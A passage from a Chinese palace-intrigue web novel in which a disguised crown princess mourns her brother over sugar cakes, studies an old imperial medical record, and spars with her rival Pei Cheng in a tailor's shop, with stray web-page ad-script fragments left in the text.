飞星欢呼了声,搂住飞雨的肩,“我就说,家主肯定也吃吐了,你没注意他脸色都不好吗最近……” 李相筠戴上斗笠,独身走入东市。 现在正是一天最热闹的时候,几个小娘子围着小摊咯咯笑着,在发髻上比划着新款钗环,一名馋嘴的小童扯着双亲的衣袖闹着要吃路边的糖葫芦,小女郎手里举着根竹风车大笑跑过,险些撞到李相筠的腿。 李相筠侧身躲开,女郎的兄长急匆匆赶上来,对她不住地鞠躬道歉,然后又提步追妹妹去了。 就这擦肩而过的功夫,李相筠闻到一股熟悉的味道。 芝麻与糖油炸后的甜香。 她顿住脚,回头去看那对兄妹。 小女郎已经站住脚,伸手要去拿兄长提在手里的糕点,但是那兄长笑嘻嘻把手抬高,硬是让人够不着。 小女郎撅起嘴,一跺脚,“给我!” “想不想吃?想吃?你要叫我什么?”兄长逗着妹妹,“要说,请兄长让我吃一块!” 李相筠眼睫一颤,几乎是同时胸腔里那颗心猛地一抽。 ——“想吃的话,你要叫我什么?” “……” “我排行第二,是你的皇兄。”身着华服的郎君蹲下身,温柔提醒。 一双黑曜石幽亮的眼睛映入她的视野。 那是她与太子皇兄头一回正式见面。 灿阳破开了乌云,那是何等明亮的光芒。 在母妃企图掐死自己,又自缢死后。她就成了大明宫的一缕游魂,除了喜欢欺负她的内宦,再没有人知道她的存在,或者说在意她的存在。 一个连亲生父亲都不关心的孩子,即便她贵为“皇子”,也如草芥一样卑贱。 她不知何去何从,每日浑噩度日。 活着没有意义,死去又有些不甘。 直到皇兄在鹅圈里找到她,又把她带回东宫照料。 从此她不说找到自己存在的意义,至少看见活着的希望。 皇兄经常会出远门且归期不定,短的时候半个月一个月,长的时候有两三个月。 她时常会为外面竟有那么多琐事牵绊着皇兄的的归期而郁闷担忧。 皇兄总会在回来的时候带着炸糖饼来看她,还说,皇兄这次在路上耽搁久了,阿筠吃了炸糖饼就不要怪皇兄了,好不好? 她咬着又香又甜的炸糖饼,认真地点点头。 李相筠站在路口许久许久,直到那对兄妹打闹过后相伴走远,她才转回头,朝前张望,看见那位兄长来的方向有一间汤记小吃铺,前面已经排了很长的队。 好像就是皇兄提起的那一家。 她寻味而去,把脚落在队伍的尾部。 小吃铺是一对夫妻在经营。 两人分工合作,男子卖力地擀着面团,妇人把滚了两面芝麻的糖饼胚夹进油锅里,热油一激,芝麻的香味就被柔风吹开。 “阿娘,好香啊!待会我要吃六个!” 一个孩童叫起来,他前面后面的也争先喊。 “阿耶我也要吃六个!”“祖母我要吃十二个!” 响亮的“十二个”让大家伙的目光都落在小童浑圆的小身板上。 李相筠担忧地蹙起眉。 那小吃铺的妇人把炸好的金黄色糖饼一个个码在竹网架上,一个两个三个……十二个炸糖饼放了一排,总共放了三排。 数量堪忧啊。 好在夫妻二人很勤快,一锅炸好,包给客人,马上又开始准备下一锅。 李相筠慢吞吞跟着队伍往前挪。 周围的人来来去去,声音时而远时而近,虽然没有仔细分辨他们的话语,但是听起来就十分热闹,每个人都有可以述说的生活琐事,也有可以回去的地方。 炸糖饼一块块下了油锅,又被裹进了牛皮纸里被客人们带走。 等李相筠到的时候,还剩下十个,她一股脑全让店家包好带走。 店家用擀面杖敲了敲大铁锅,对后面的人致歉:“诸位,今日的炸糖饼已经卖光了,明日还请赶早吧!” 在一阵懊恼的抱怨声中,李相筠走进人流。 一道身影咻得下钻出,站在街中央,四处张望。 “家主怎么知道这里有很好吃的炸糖饼?哇我好像闻到味了,是不是那里!” 飞星几个疾步就站到了小吃铺前,对着店家就露出一张笑脸,“店家,我们要买炸糖饼。” 店家放下擦拭的抹布,摇了摇手,“今天的已经卖光了,客人明日早些来吧,您瞧,我们这都要收摊了。” 飞星大失所望,趴在案边,委屈得像只小狗:“怎么这样,我都腹中空空,再没有力气走了。” 店家也是没见过这么没脸没皮的郎君,愣了愣,店家娘子在旁笑道:“小郎君这么想吃要不然追去前面那位小郎君问问,肯不肯匀你一个,我看他原本也不想买十个的。” “在哪呢?在哪呢?” 飞星果然支棱起脑袋,精神抖擞地往店家娘子指的方向张望,只见到一个有些熟悉的背影渐行渐远。 “那不是……” “哐——”一记爆栗打得他眼冒金星,他猛揉着脑袋回头,“你打我做什么啊?” 飞雨拉他起来,“差不多行了,别让郡主看笑话。” 身后,李竹芸弯了弯唇角,十分大度地道:“不要紧的。” 她身边的侍女抿着唇偷笑。 飞星挠了挠脑袋,一溜烟跑回裴承身边。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 裴承对李竹芸道:“抱歉,看来让郡主白跑一趟了。” 李竹芸摇了摇头,随后说:“其实裴家主不用这样客气,上一回我只是随口提醒。” 毕竟太子已经很不得圣人欢心,若是再惹是生非,只怕…… 而且她对甜食并无兴趣,山中道观清修的时候饮食一向清淡。 “还是要谢的。” 裴承顿了下,目光不由滑向李竹芸鬓发间的那支竹节银钗,“那支钗,不像长安的款式。” 李竹芸很快反应过来,抬手扶了下,温柔一笑道:“是,这是太子殿下送我的,听闻是西南那边样式,我觉得它很别致。” 裴承温和一笑,“确实,这支钗很漂亮。” 几番交谈下来,李竹芸发现裴家主也没有传闻中那么可怕,相处起来也不似之前那般紧张。 主仆二人离开,裴承还在原地目送她们走远。 这时候店家从里面出来,手里居然拿着两块炸糖饼。 “我家混小子居然偷藏了两个,我就说这十几年的手艺怎么会少了数,来来来客人千万别饿坏了,拿去填填肚子吧……” 原来是店家怕飞星饿晕在自己门前不好看,连忙拿饼出来,连钱都不要白送。 飞星欢呼了声,虽然心中欢喜,但是还记得要给一个家主,另一个忍痛分一半给飞雨。 三人拿着炸糖饼走在街上。 “能让家主念念不忘的炸糖饼果然好吃!”飞星舍不得吃完,一小口一小口咬,“不过……家主没有来过长安是怎么知道这里有炸糖饼的?……哦我想想,是不是他?” 这个“他”,便是不好在大街上提起的怀贤太子。 裴承打量手里炸的金黄色糖饼,“嗯。” 太子说过,东市的炸糖饼是他妹妹最爱吃的东西,每次只要带给她,总能见到她展颜欢笑,好像这糖饼就是世上最好吃的东西。 李相筠咬了口饼,没有记忆里的甜,味道寡淡了很多。 真奇怪,明明是最爱吃的东西,现在却一口口味同嚼蜡。 才吃一小半,她就放下手,不知所措地坐在那儿发愣,有些费解。 难得是店家的手艺变了? 李相筠招呼几个在旁边踢毽子的小童来分剩下的糖饼。 孩童个个都很高兴,争先恐后把糖饼瓜分完,连声夸好吃。 “老汤叔的手艺我从小吃到大,就是这个味!” “你才几岁呀,就说从小吃到大,我阿耶说,汤叔的阿耶也是做糖饼的,他们这叫做子承父业,一脉相承!” “什么乱七八糟的,反正就是这个味没错了!好吃,我回家要阿娘再给我买些……” 李相筠捏着半块糖饼,僵坐在树下。 口里不甜反而泛起了苦,从舌根一直蔓到心底。 “阿兄,我、我……把这块糖饼还你好不好?” 一个陌生的小女郎还站在她边上,两眼怯怯望着,手掌心还捧着块温热的糖饼。 “你、你别哭啊……” 视线越来越模糊。 李相筠伏下身,把脸埋进双膝。 原来,不是糖饼不甜了啊。 14.翻墙 不知是冤家路窄还是因为飞星“做贼心虚”一路念叨要被太子放鹅追。 主仆三人在宵禁前回到东宫,居然与太子不期而遇、狭路相逢。 太子身后没跟着执金卫,出现的方向也并非东宫正常进出的大门。 “殿下回自己地盘也需要翻墙?”裴承抬头看李相筠身后的院墙,合情合理地质疑堂堂太子贼一般的行径。 李相筠本就心情不好,还撞上这讨人厌的主仆三人,也不屑隐瞒,昂了下巴,“孤乐意。” “殿下的乐趣委实与众不同。” 裴承今天心情倒是很好,因而眼睛微弯,露出玩味的微笑。 “看你们在这里闲逛的样子,孤还真一时半会反应不过这是孤的地盘。”李相筠看不惯他的笑,忍不住反讥:“裴少保不要忘记自己身份才是。” “殿下都把臣安排在东宫后宫,不是殿下先忘了臣的身份?”裴承毫不介意重提一次,也是提醒太子自己先胡闹的。 太子或许觉得此举对他是一种折辱,但他本人却丝毫不在意。 不过是住在后宫,又不会少块肉,更何况还更方便他安排人监视太子,他还要谢谢太子行的方便。 李相筠一时无言,半晌才皮笑肉不笑道:“裴少保没有听过一句话,雷霆雨露俱是君恩么?” 她是储君,即便给他小鞋穿,他明面上也得感恩戴德地受着。 “殿下还没有做到真正的君主。”裴承微笑。 大黎皇室流水一般的太子,能坐上皇位的可没有几个。 不说远的,就近的这几个太子没有一个坐得安稳。 他的言外之言令李相筠的脸色冷寒。 裴承的讽刺指的可不只有她,更有前一位太子。 她抬脚往前,丢下一句话:“储君亦是君,你僭越了。” 李相筠已经失去周旋的耐心,更不想和裴承做无聊的斗嘴。 飞星和飞雨识趣地让出路,不过两人齐齐占领了一边,李相筠只能从裴承的那一侧走过,他身上的药味让人舌根发苦。 李相筠最讨厌苦东西了,蹙眉加快脚步。 裴承垂下眸,这般近距离的一瞥,太子的脸离得很近,光洁细腻的皮肤在昏黄的光线下犹如暖玉般,墨羽似的眉毛下桃花眼却有些肿红,眼底还压着没有退散的水光,就好像……哭过? 哭? 裴承为忽然冒出的这个念头而奇怪,可他没有机会再多看一眼,李相筠已经走远了。 能让张牙舞爪的太子哭,会是什么事…… 总不会是因为折了他的陆少卿就把他气哭了吧。 裴承可不信。 扶桑殿外,邓谦等候多时,见到李相筠露面,就快速迎上来。 目光在太子不寻常的萎靡神情上滞留了一瞬,就低头禀道: “殿下,汪中尉派吕常侍到东宫送物件。” “吕山?”李相筠对这个名字印象深刻,在她弄死严兴良后,这个吕山没有少放狠话要报仇,也的的确确使了不少绊子害她,只不过都没有得逞。 而且,严兴良一死,惯会溜须拍马的他颇受汪中尉宠信,在宫里耀武扬威了好一段时间。 可惜,如今也被他干爹大大方方舍弃了。 李相筠知道这是汪正阳对她的示好,因为她的手已经要触及他们的利害,无论是断臂求生还是以退为进,都无所谓。 李相筠跨进殿门的时候,脸上再不见一分一毫的伤感或者软弱,她露出让人惊惧的微笑,嗓音温和,仿佛只是在接待一位值得寒暄一阵的旧友,“吕常侍,稀客啊。” 跪候着她的吕山冷汗浸透了后背,头深深地伏了下去。 / “太子与吕山有仇,想必这次是羊入虎口有去无回了。”裴承到长安前,飞雨就把长安皇城上下的关系查一通。 汪正阳在这个关头把干儿子扔出去,就是为了堵住太子继续往下查的心思,有决心也有魄力。 但是太子会不会从,很难说。 裴承想起太子的那总是藏着算计的眼睛,心底就把“不会”加重了音。 一个有野心的人,注定是不会坐视对手长久的存在,一旦有机会被他抓住,势必会像毒蛇一样紧紧咬住,直到绞死对方。 “不过奇怪的是,这个吕山来见太子赔罪,带的既不是金银珠宝,也不是娇娥美娘,而是一本蓝皮线本子,也不知道里边写了什么?” 飞星懊恼道:“执金卫实在太难缠了,我和飞雨只能憋憋屈屈藏在一个狭小的夹缝里偷听偷看,家主你都不知道,太子真是个怪人,外面围的跟铁桶一样,里面居然就不设防,这究竟算是怕死呢还是不怕死呢?” 飞雨受不了他滔滔不绝的抱怨,把话题越带越远,及时掰正道:“说不定是账簿或者什么名单册,还有什么是太子关心的东西?” 裴承托腮想了想,肯定道:“是有关黄监丞的东西。” / 李相筠到书房坐下,翻看吕山带来的医案。 这本医案边沿有火灼过的黑痕,但好在因为被翻看过,所以已经被人小心分开。 扉页上题执笔人孙远寻。 孙远寻……孙? 她记得黄监丞原本的姓氏就是孙,他又是医户出生,莫非这本医案是黄监丞父亲所写? 李相筠一页页翻过去。 这位孙署令的医术高超,圣人身体不豫一向传他来看,所以里面记录了很多有关为皇帝看诊的记录。 十八年前,圣人还不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那么依赖圣火教,也知道凡体肉胎病了得吃药,而不是开坛做法或吃那些乱七八糟东西炼制出来的“金丹”。 李相筠时常想,这些年他脾气愈发暴烈,恐怕离吃坏脑子差不了多远了。 等医案翻过大半,在最后一页,李相筠看见了一则医案,蹙起了眉。 正元九年中秋雨。 皇后召,太子目疾,夜不能视,性爆易急,恐内疾成患。 诊,天生雀盲,狂病。 章平太子是陈皇后的儿子,刚出生没几个月就被封为太子,无比尊贵,陈后也顺理成章封后,从一介寒门女跃升为大黎皇后。 太子万千宠爱于一身,只可惜六岁早夭,没能活得长久。 而就在章平皇太子薨逝的那一年,圣人就丧心病狂地下令杀掉所有的公主,仿佛太子的死与那些无辜的公主有关系一样。 那句“真凰篪龙”的谶言将原本尊贵的大黎公主打成穷凶极恶的邪祟,世人皆应除之而后快。 正元九年十一月,本是元后所出的嫡次子,也就是她的二皇兄李相宇被册为太子。 章平太子、公主、太子皇兄以及刚出生的她。 正元九年那一年就是他们命运的转折点。 李相筠托腮沉思须臾。 陈后的事情,得问问陆展。 陆展的母亲是陈皇后身边的女官陆氏,或许会知道一些有关章平太子的旧事。 章平太子究竟是怎么死的,而这位孙署令…… 李相筠翻过最后为太子诊断的一页医案后,就再无记录。 空白泛黄的纸在她长指下压着。 而这位孙署令,又是因什么死的? 夜枭在寒夜凄厉地长啸,东宫里悄无声息地死去了一个内宦。 飞星飞雨在夜幕的遮掩下,目送一卷草席捆着吕常侍被放上一辆油毡马车,低调从巷道离去。 “太子是个狠人,汪正阳说不定只是试探一下,想卖个人情,他还真把人弄死了,这下宫里丢了个内宦,不会查到东宫头上?若东宫出事,我们住在里面会受池鱼之殃吗?你说我们要不要先溜了?” “少杞人忧天了。”飞雨把飞星凑过来的脑袋不耐烦地推远,道:“在皇城当中要杀个人借口多的是,比如摔井里淹死,掉粪坑里臭死,吃东西噎死,走夜路被鬼吓死。” “这么多!”飞星吃惊地张嘴半晌,敬佩地朝他竖起拇指哥道:“你见识广。” “不瞒你说,有时候你不闭上嘴,我已经在想把你埋哪了。”飞雨轻巧地从屋檐上跃下,小辫子上的银蛇亮光一闪,轻笑道:“事后再随便选个借口告诉家主得了。” 飞星惊恐转悲戚再转愤怒,拔腿追了去:“……你怎么这样!我们可是亲兄弟啊!” 15.伺候 陆展的事情,李相筠是第二日才知晓。 她撑起额头,深深闭上眼。 裴承真是她的魔障,处处与她作对! 圣人也是吃金丹吃傻了,怎么事事都听他的,大理寺少卿说撤就撤。 陆展迟疑片刻,“其实臣有一件事在考虑要不要告诉殿下。” 李相筠抬头,“什么事?” 陆展还在犹豫,愁眉紧蹙,仿佛陷入两难。 “我们相识已久,难道对我也是难以开口的事?”李相筠好奇。 陆展母亲曾为中宫女官,有几分皇后的照拂,但他是个没有父亲的私生子,在遍地权贵的国子监经常被欺负,而那时候李相筠因卫家的事也没少被人针对。 但她从来不会吃闷亏,有仇必报,有怨必撒,连带着帮陆展教训了那一伙人,让他感激不尽,这才结下了一段患难与共的同窗情。 陆展也想起那段岁月,唇边露出淡笑,但是很快就被凝重取代。 “臣……几日前受皇后召见,询问有关殿下的近况。” 说着陆展低下了脑袋。 李相筠露出些许玩味的笑容,“皇后关注孤也是寻常,所以不寻常的是什么?” 陆展松了口气,才继续道: “从中宫出来,姨母忽然告诉我,其实我的生父其实一直都在长安,是、是鲁郡王。” “那个老疯子?”李相筠不禁脱口而出。 陆展面色复杂,一点头,“鲁郡王子嗣多有病,世子刚暴毙,无人承其爵位,所以姨母的意思是看我愿不愿意认祖归宗。” 鲁郡王与赵郡王一样,都是辉宗皇帝的子嗣,爵位传到这一代只有郡王的名头,再下一代是国公,但也是享受实封的权益。 “你母亲与陆女官同为皇后从宫外带来的老人,情意非比寻常,怎么会与鲁郡王扯上关联,还生下了你?” 话说着,李相筠慢慢回过味来。 永光二十五年,安宗皇帝崩,泰王不满兄弟继位,发起兵变,那时候还是庆王的圣人正率兵在外不敢归朝,陈氏就是他那时结识的寒门女。 后来圣人得了“潜龙在渊”、“天命所归”的鼓舞,举兵平乱,历经一年的时间占领长安,杀了得位不正的皇兄,坐上龙椅。 原配庆王妃册立为后,陈氏做了贵妃。 但是彼时皇后已有两名皇子,一位公主,陈氏势力单薄,即便在一年后皇后难产薨逝,她朝中无援,始终站不稳脚,只能积极寻求与皇室宗亲以及世家联手。 用身边的人拿去做人情,最能拉进关系。 陆展偏过头,不知在想什么。 这个父亲虽然尊贵,但是于他而言也不知道是福是祸。 李相筠明白他的心结。 二十来年都过得小心谨慎,不得欢畅,忽然有了另一重选择,谁能不对权势动心? “这件事你自己思量,不过孤与裴少保还是要有仇报仇,有怨报怨。” 李相筠并不懊恼陆展因私心而使她陷入孤立的状态,她从来都是单打独斗的主,手边的人能用则用,不用则换,干脆利落,从不会为一件事、一个人而停步。 就一句话平淡揭过,李相筠的目光再没落在陆展身上。 陆展拧眉定定看着他,忽然有一股无名火窝在心间。 可李相筠托着腮,那双桃花眼里平静无波。 不恼怒也代表不在乎。 李相筠根本不在乎身边任何人,无论是朋友还是…… 可他们还能是什么? 陆展深吸了口气,或许离太子远一些,也是件好事。 东宫的反击比裴承料想到的要快许多。 一天之内裴府尹被人状告欺辱民女,他自己也被划为逃犯黄监丞同党,以权谋私。 证据东宫准备的很周全,看来对付他们并不是一天两天才起的念头。 所以他前脚刚折了太子的左膀右臂,后脚这些弹劾就涌了出来。 一本本奏章从太子党手里递上去,就如狂风欲摧秀木,来势汹汹。 风声不知道从哪里刮起,长安的百姓也如火如荼地议论起有关以乱力怪神陷害储君的案子。 “储君监考本就是理所应当的事情,国子监如此反对,里面什么古怪?” “我也听说了,是太子的主张与国子监不同,这才遭了反对。” 虽然都是普通百姓,但在天子脚下,对于政事风向总比别的地方人敏感许多。 ”太子要改府兵制,提拔寒门,听起来倒是没有害处,为何国子监要反对呢?” “你蠢啊,国子监在姚相出现之前,那不就是世家的天下,何曾能有寒门子弟进去读书,现在太子要把更多的好处倾向寒门,世家怎么会坐视不管呢?” “哦!这就是裴少保对付太子的原因啊!他们可不都是世家的人!” 众人恍悟。 酒楼雅间里,裴五爷哭得两边袖子都沾湿了,见裴承主仆三人无动于衷,连块帕子都没人递,也就哭得没滋没味。 他用手掌胡乱抹了两把眼泪,唉声道:“执玉,你信我,我起初是真的没有那个意思,不过是看她可怜,帮了一把,谁知道她还讹上我了!” “你一个京兆尹又管不了科举,你理她做什么?”裴承语气冷漠。 早就提醒过的事,他还会一头栽进去,不是蠢就是笨。 裴五爷讷讷,解释:“她说自己兄长寒窗苦读十年,就缺乏名师指点,我就那么……” 裴承毫不留情点破:“你自负有点墨水在肚,就坦然接受美人自愿的回报,却没有想到被她的假兄长真丈夫当场撞见,美人哭喊着自己是被逼的,于是你百口莫辩,花钱摆平,谁知对方反手还是把你卖了。” “……就是这样。”裴五爷垂下脑袋,两只手搭在后脑,显得十分懊恼。 他闷声道:“执玉,既然事情已经发生了,那我接下来怎么办才好?” “御史肯定会弹劾,你倒不如先认错,该罚的罚,该思过思过,态度摆好了,罪也大不了哪去,现在要防的是后招……” “还有后招?”裴五爷痛苦万分,“我也没得罪太子啊!” 何至于此!何至于此! “不见得是太子,或许是其他看热闹的人,巴不得我们斗得你死我活。” 裴五爷心灰意冷地甩开两只袖子,摊在椅子上,就像是个干瘪的鱼泡,幽幽道了句:“防不胜防啊。” 裴承笑道:“防不如疏,去看看就知道了,说不定还会有意外的收获。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 是夜。 平康坊一间藏于深巷的民宅中,忽然传来一声凄厉的惊叫。 屋檐上的瓦片掉落,哐当一声砸碎了,与此同时民宅里一披头散发的妇人跑到院中,惊恐道:“死、死人了!——” “有动静!” 屋檐上蹲着两人立刻就跟逮兔子的鹰一样飞了出去,但对面那只“兔子”的反应迅速,顷刻从两人拳脚包围中猛蹿至对面的檐上。 唯一失策的一点,就是没料到这边有埋伏。 一人要逃,一人要抓,两人在屋檐上交手。 但坡顶斜滑并不好施展,再加上刚刚那女子的叫喊引来坊民和巡察队,显然不是久待之地。 那要逃的从腿边摸出把薄刃,寒芒被暗淡的月辉照得一闪,又消失在两人的拳脚当中。 其中有人闷哼了声。 瓦片踢里踏拉而动,不稳当的都接二连三从边沿滑摔了下去,招来纷至沓来的脚步声。 “来人啊!那边有动静——” “走。”屋檐上不知是谁开了口,两边的人不约而同达成共识,飞快散开。 “什么人!……啊,原来是裴少保。” 巡察队追到外巷,小旗见到人就拱起手,疑惑打量三人:“上官怎么这个时分在这逗留?” “自然是来玩的。”飞星抹了抹翘起的发丝,又拍去袖子沾染的灰尘,又好奇打听:“里面是出什么大事了?这么吵吵闹闹。” 小旗果然信了,马上正色道:“这里有一户赶考的书生被人杀死了,那叫一个惨啊,我们正要追拿凶手,据目击者说,凶手刚刚就在屋顶上,肯定还没跑远!” 飞星连忙道:“啊,那你们赶紧去,千万别耽误抓犯人!” “那小的们告退了!” 巡察队急吼吼往外追。 等他们跑出巷子,飞星才扭头惋惜:“家主,刚刚怎么没有抓住那犯人!” “那人身手不错,滑得跟条鱼一样。”他从袖子里滑出一把薄刃匕首竖在眼前左右转了转,刀刃上还沾了些许鲜红的血。 “家主,您受伤了?” “不是我,是它的主人。” 裴承把匕首递给飞雨,“削铁如泥的好刃,但是没有任何特征,若从材质下手也不好找。” 飞雨也把匕首检查了一遍:“确实。” 裴承忽然又问:“太子还在沧浪阁喝酒吗?” 飞星抢答:“我们出来已是宵禁时分,倘若不在沧浪阁的话,想必也在平康坊某个地方歇脚吧?” 李相筠不在沧浪阁也不在客栈酒楼,裴承找到他的时候,他正在一家成衣铺。 伙计不敢拦他们,把人带到了门前通禀。 里面果然传出太子漫不经心的嗓音,“这么晚了,裴少保还有事?” “殿下不在东宫,臣委实担心,还请容臣进门一禀。” “孤正在让掌柜量体裁衣,这样的小事就用不着劳驾裴少保了。” 飞星和飞雨对视一眼。 太子好会拐弯抹角地骂,这是在说他们家主上赶着伺候他呢! “若能服侍殿下,也是臣的荣幸,既然殿下都开口了,那量体一事臣还真当义不容辞。” 说着,裴承推开了门。 16.量身 对着门的是一架立式三折的刺绣屏风,但不算高,至少裴承的视线刚好越过屏风顶,正见到太子拉起素白单衣,遮过一截雪白的后颈。 一名年长的妇人穿着彩裙戴着金钗,蹙眉面朝他而立,不禁道:“你怎么就这样闯进来了!” 裴承环视一圈,屋中陈设皆是布帛、绣品,还有几件成衣搭在翘首木架上。 妇人的腿边是一张绷着花样的绣凳,凳上放了几条细长白绢、剪子之类的东西。 “殿下这么晚了,在这里做衣服?” 李相筠拉紧腰带,转过身,似笑非笑看着他们,“孤趁兴而来,无所拘束,不可以吗?” “殿下好兴致。” 裴承绕过屏风,走到桌前,扫了一眼,纸上空白无字,布尺还搭在桌沿呢。 “看来臣来的正是时候。”裴承拿起被冷落多时的布尺,迎向李相筠并不友善的目光,抬脚又走近了些。 那柳衣铺的掌柜脸色顿时紧绷,竟下意识朝太子靠近一步,就像是要护住鸡崽的老母鸡。 裴承也没在意,而是轻嗅了下空气:“怎么有一股金疮药的味道?” 柳掌柜眼神躲闪了下,又抿唇笑道:“年纪大了,眼神不太好,动剪子容易扎到手,让客人见笑了。” “原来是这样,看来柳掌柜伤的不轻,不太方便,就让某为殿下效劳吧。” “这……这怎么能行?”柳掌柜侧眼去看李相筠的脸色,“这不好吧……” 李相筠冷峭的小脸上挂上讥讽,掀唇欲言。 裴承压低了声音,忽而道:“殿下对身边的宫人还真是照顾到底。” 宫人两字一出,柳娘脸色一变,她几乎转瞬就去瞥旁边的铜镜,检查自己脸上的伪装。 李相筠对上裴承幽黑深邃的眸,她缓缓道:“柳娘你先出去,告诉邓统领,孤在这还要耽搁一点时间。” 柳娘担忧地把两人看了看,咬着唇,跟着飞星飞雨一起出了门。 门扇吱呀两声合拢。 屋内再无旁人,李相筠只字不提柳娘的事,盘手而立,“裴少保深夜寻上门来,究竟是想做什么?” 虽然只有一身单衣,但是太子依然站得笔直,好像从来不会惧怕什么。 “先为殿下量身。”裴承撑开手里的布尺,平静道:“殿下还请褪衣吧。” 李相筠手没放下,依然交叉在胸前,意味着拒绝,“孤从不要外人伺候。” “臣都住进内宫了,殿下把臣当外人了?”裴承将太子从头往下打量,道:“还是殿下有不方便的地方?” 屋檐上的那人果然是他。 李相筠呼吸一滞,但很快她又从容自然道:“孤与裴少保还没到坦诚相待的关系,而且孤对你没兴趣。” 裴承的身高足以让他俯看大部分人,此刻他稍压下了脸,面朝个子不高气势却很足的小太子,意味深长道:“若殿下对臣有兴趣,我们就更不该坦诚相待了,正是因为殿下没有兴趣,我们才不必避讳,不是吗?” 什么乱七八糟歪理一堆。 “既然裴少保量不了,”李相筠越发不耐了,忽然伸手,“那布尺还我。” 裴承自然不会轻易被他夺走手里的尺,捻住布尺的一头,同时手握住了李相筠伸过来的手腕,拽着他在自己身前转了半圈,另一只手以拇指抵住布尺,从他的小臂横滑,从背后两块微凸的肩胛骨依次经过,又伸向他的左臂。 李相筠一惊,挣手扭身,但是裴承已经将布尺拉至她一展臂的长度。 他垂眼一瞟上面的刻数,煞有介事道:“殿下的手臂匀长,肌肉适中但缺乏力量,六石的弓怕已是上限,平素重器不合手,短小锋利的薄刃能事倍功半。” 李相筠退后半步,扯起唇角,眼睛却没笑,“裴少保忘记了,孤擅长的是鞭,可轻可重。” “长鞭确实也是件合适的武器,只是声势过大,不适合掩人耳目。” 裴承没有因为李相筠的躲开而停止手里的活,他将布尺权当长鞭挥出,如灵蛇一般缠了上来,一段搭在李相筠的肩上,余下的自胸口垂下。 李相筠要去扯布尺,裴承就擒她手。 两人的手狭路相逢,各不相让只能打起来。 翻手去抓,转腕则挡,几个呼吸的功夫,他们就着布尺拉扯已经来回十几次。 裴承的手骨硬得像铁,李相筠好几次撞上都要咬牙暗骂。 她的脸色越来越凝重,另一边裴承却渐生疑惑。 太子身高中等也就罢了,这体格委实太弱了些,飞星飞雨比起他来,不仅是肌肉还有骨骼都要强壮许多,那样才能承受住不断的打击。 至于太子这样的,他都担心自己若是加重了力度,会不会把他的骨头直接打折。 但好在太子也知道取长补短,他把自己力量的不足都用更灵活的技巧去化解,变换的掌法、拳法仿佛揉着了百家所长,应对不同的招式。 裴承沉思分神之际,一拳直冲他面门挥来,他偏头一躲,凸出的指骨险险擦过他的脸颊,在他的耳前被及时禁锢定住。 “殿下若是在这指间夹一把薄刀,臣的脸就要破相了。” “裴少保大可放心,脸皮这么厚,可不是什么刀都能划得开。”话音才落,李相筠将身子重心一挪,抬脚猛踩在裴承的脚背上。 裴承居然痛哼了声,将手微松,李相筠趁机把右手挣开,去扯那该死的布尺。 裴承没让太子完全得逞,在对方扯住布尺一头的时候,他拽住一端往手腕上一转。 这下,任李相筠再怎么拉拽也动弹不得,只将布尺绷得嘭嘭响,再继续下去它只有先阵亡的份。 “放手。” “臣还没量完,殿下心急什么?” 裴承的手夹布尺已经压上李相筠的肩,另一只手滑下。 李相筠格外注意自己的胸前,虽然她缠了几层布,但是单衣实在轻薄,让她不太放心。 她立刻含胸后缩,脚跟一转往侧方向跨去,远离裴承的控制。 哪知裴承量上身不成,竟然把布尺往她腰间一圈,那力度勒得她不禁踉跄了两步,那股微涩的药味立刻侵入她的鼻端,好像完全包裹了她。 李相筠冷汗冒了下来,不耐疼痛地闷哼了声,下意识要去捂钝痛的伤口,但想到身后还有裴承在盯着自己一举一动,只能反手撑向身后的人,以免被裴承撞上她后腰的伤处。 裴承的五感都比常人敏锐,即便李相筠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 咬住了唇,但是溢出的那声轻喘低哼还是被他听入了耳。 像是一根羽毛,轻搔着他的咽喉,不但痒还有些渴。 胸腔里似乎有什么在蠢蠢欲动的扑扇,随后他的下腹被人狠狠推开。 裴承垂眸一看。 是太子五指张开,极尽可能占领地盘,但是奈何手还是小了些,只能盖住他腹部的一部分。 太子用手撑开两人的距离仿佛是怕被人贴上他的后背。 “裴承!”这是真的恼了。 “臣在。”裴承毫无意义地答了声,他的目光又注意到太子的后颈上滑过了一滴汗,汗珠留下湿漉痕迹,颤颤消失在衣领里。 “裴少保为人量衣,需要这样贴身侍奉?”李相筠被捆住了腰,又不敢用力挣。 万一刚上了药的伤口崩开,血很快就会渗出。 “臣也没见过哪个被量的要动用拳脚也不肯配合。”裴承擅长把问题抛还给对方。 李相筠拽住身前的布尺往上抬,直到胸下不会勒到伤处为止。 “那是因为你伺候的不好,孤不满意。” “殿下对谁都不满意。”裴承在头顶道:“可凡事亲力亲为,不但辛苦还容易受伤。” 说着,裴承的手已经握住了太子的腰,拇指根正好就压在了他的伤处上。 李相筠猛得咬住后牙槽,气息有一瞬的紊乱,眼前一黑,只有金光乱窜。 这个裴承,是想她死不成! 声音可以勉强抑制,但是身体的反应永远诚实,那瞬间绷紧的腰在他手下无处可藏。 裴承已经摸清了他伤口的底细,也不再和他绕弯:“殿下想要把臣拉下来,也用不着亲自动手杀人,万一落到大理寺,臣可不会徇私。” 李相筠按住他的手背,往自己的伤口处压,声音微颤,但语气咬得凶,“孤从不杀无用之人,莫须有的罪随意往人头顶扣,这就是你大理寺卿的能耐?” 感觉手掌被黏糊的液体逐渐润湿,裴承知道这是太子腰上的伤口裂开了。 “殿下去那,如不是为杀人是想做什么?” “想看看有没有人做多余的事情,这一点上,裴少保和孤是一致的,不是吗?” 李相筠冷汗涔涔,但是人却更加冷静,“裴承,你到长安来,到底想要什么?” 敌人有时候不能单单当做敌人,那是明晃晃的危机,若是先以相同的目标诱之,结为盟友,这样才能知己知彼,再到百战百胜。 裴承松开他,看了手心沾染的血,又看向太子,平静的语气一点也看不出刚才“大动干戈”的阵仗。 “找一个真相,还一个恩情。” 李相筠后退几步,按着伤处慢坐在美人榻上,转瞬间仿佛自己的劣势已经成了优势,被人揭穿的伤也变得无足轻重,就不用再加掩饰。 她恢复了从容,说道:“眼下裴少保应该已经看出来了,你我相斗,就是鹜蚌相争,还有个渔翁正等着得益呢。” 